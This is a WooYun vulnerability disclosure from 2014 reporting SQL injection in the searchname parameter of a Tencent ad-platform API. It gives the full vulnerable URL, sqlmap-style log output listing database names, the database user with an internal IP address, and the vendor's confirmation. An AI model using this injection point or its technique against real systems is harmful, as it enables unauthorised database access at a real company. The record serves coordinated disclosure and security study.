当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-086515
漏洞标题：
腾讯某分站存在SQL注入漏洞
相关厂商：
腾讯
漏洞作者：
Jannock
提交时间：
2014-12-09 14:48
修复时间：
2015-01-28 17:30
公开时间：
2015-01-28 17:30
漏洞类型：
SQL注射漏洞
危害等级：
高
自评Rank：
20
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-12-09： 该漏洞正等待厂商内部评估
2014-12-09： 厂商已经确认，与白帽子共同解决该漏洞中，漏洞信息仅向厂商公开
2014-12-29： 细节向核心白帽子及相关领域专家公开
2015-01-08： 细节向普通白帽子公开
2015-01-18： 细节向实习白帽子公开
2015-01-28： 细节向公众公开

简要描述：

某持续监控神器发现腾讯某站点新功能，某功能存在多处SQL注射漏洞。

详细说明：

http://e.qq.com/ec/api.php?mod=report&act=adgroup&g_tk=991968923&d_p=0.36786074754056486&datetype=1&format=json&page=1&pagesize=20&sdate=2014-12-09&edate=2014-12-09&status=&fastdate=custom&searchtype=&searchname=&reportonly=0&product_type=&product_id=&campaignid=256945&callback=_Callback&owner=******
多处地方 searchname 存在SQL注入。
太多数据库就不跑了，至于怎样绕过WAF，你们自己看日志好了。。

漏洞证明：

back-end DBMS: MySQL >= 5.0.0
[14:38:34] [INFO] fetching database names
[14:38:34] [INFO] fetching number of databases
[14:38:34] [INFO] retrieved: 903
[14:38:38] [INFO] retrieving the length of query output
[14:38:38] [INFO] retrieved: 18
[14:38:47] [INFO] retrieved: information_schema             
[14:38:47] [INFO] retrieving the length of query output
[14:38:47] [INFO] retrieved: 7
[14:38:52] [INFO] retrieved: AP_Ad_0           
[14:38:52] [INFO] retrieving the length of query output
[14:38:52] [INFO] retrieved: 7
[14:38:57] [INFO] retrieved: AP_Ad_1           
[14:38:57] [INFO] retrieving the length of query output
[14:38:57] [INFO] retrieved: 8
[14:39:02] [INFO] retrieved: AP_Ad_10           
[14:39:02] [INFO] retrieving the length of query output
[14:39:02] [INFO] retrieved: 8
[14:39:08] [INFO] retrieved: AP_Ad_11           
[14:39:08] [INFO] retrieving the length of query output
[14:39:08] [INFO] retrieved: 8
[14:39:13] [INFO] retrieved: AP_Ad_12           
[14:39:13] [INFO] retrieving the length of query output
[14:39:13] [INFO] retrieved: 8
[14:39:18] [INFO] retrieved: AP_Ad_13           
[14:39:18] [INFO] retrieving the length of query output
[14:39:18] [INFO] retrieved: 8
[14:39:23] [INFO] retrieved: AP_Ad_14           
[14:39:23] [INFO] retrieving the length of query output
[14:39:23] [INFO] retrieved: ^C
[14:39:24] [ERROR] user aborted


[14:42:55] [INFO] fetching current user
[14:42:55] [INFO] retrieving the length of query output
[14:42:55] [INFO] retrieved: 23
[14:43:05] [INFO] retrieved: user_qzone@10.198.10.95             
current user:    'user_qzone@10.198.10.95'

修复方案：

过滤

版权声明：转载请注明来源 Jannock@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-12-09 17:28

厂商回复：

非常感谢您的报告。这个问题我们已经确认，正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态：

暂无